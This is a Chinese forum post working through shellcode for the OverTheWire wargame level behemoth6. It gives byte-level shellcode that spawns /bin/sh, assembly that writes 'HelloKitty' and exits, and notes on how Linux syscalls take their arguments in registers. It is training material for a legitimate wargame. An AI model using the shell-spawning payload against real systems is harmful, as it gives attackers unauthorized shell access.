首页
社区
课程
招聘
[原创]WarGame-behemoth6 番外篇-再学ShellCode
发表于: 2019-9-22 10:29 4013

[原创]WarGame-behemoth6 番外篇-再学ShellCode

2019-9-22 10:29
4013
之前的番外篇讲到如何用一个简单的shellcode来提权,事实上关于shellcode的写法还有很多细节没讲到(主要是当时没学到o(╥﹏╥)o),例如behemoth6需要用到的shellcode就会对小白们的技术提升有所帮助,原始shellcode代码如下
Explanation:
6a 0b                push 0xb 
58                   pop eax  
99                   cdq      
68 2f 73 68 00       push 0x68732f  
68 2f 62 69 6e       push 0x6e69622f
89 e3                mov ebx,esp    
31 c9                xor ecx,ecx    
cd 80                int 0x80

这个shellcode的主要作用就是执行'/bin/sh',再看behemoth6中需要的shellcode
Explanation:
	push 0x4
        pop eax
        cdq
	mov ebx,1
	push 0x00007974
	push 0x74694b6f
	push 0x6c6c6548
	mov ecx,esp
	mov edx,12 
 	int 0x80 
	push 0x1
	pop eax
	mov ebx, 1
	int 0x80

大部分人在做过大量逆向工作后习惯性的认为函数传参就是push入栈然后call,Windows我不知道,但是对于Linux的syscall则是通过寄存器来传参,int 80则是调用syscall,具体介绍可以参考Linux Syscall Reference,不同系统函数都是通过eax(系统函数调用号)、ebx、ecx、edx四个寄存器实现调用的(有些并没有全都用到),需要注意的是像execve这样的函数虽然四个寄存器都用到了,但是通常情况下只需要给出eax(0xb)和ebx(/bin/sh)就可以了,其他的必须置0;至于普通人写的代码为什么是通过栈传参,可能是因为参数的个数和长度不确定吧(我猜的O(∩_∩)O)

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2019-9-22 10:30 被pureGavin编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//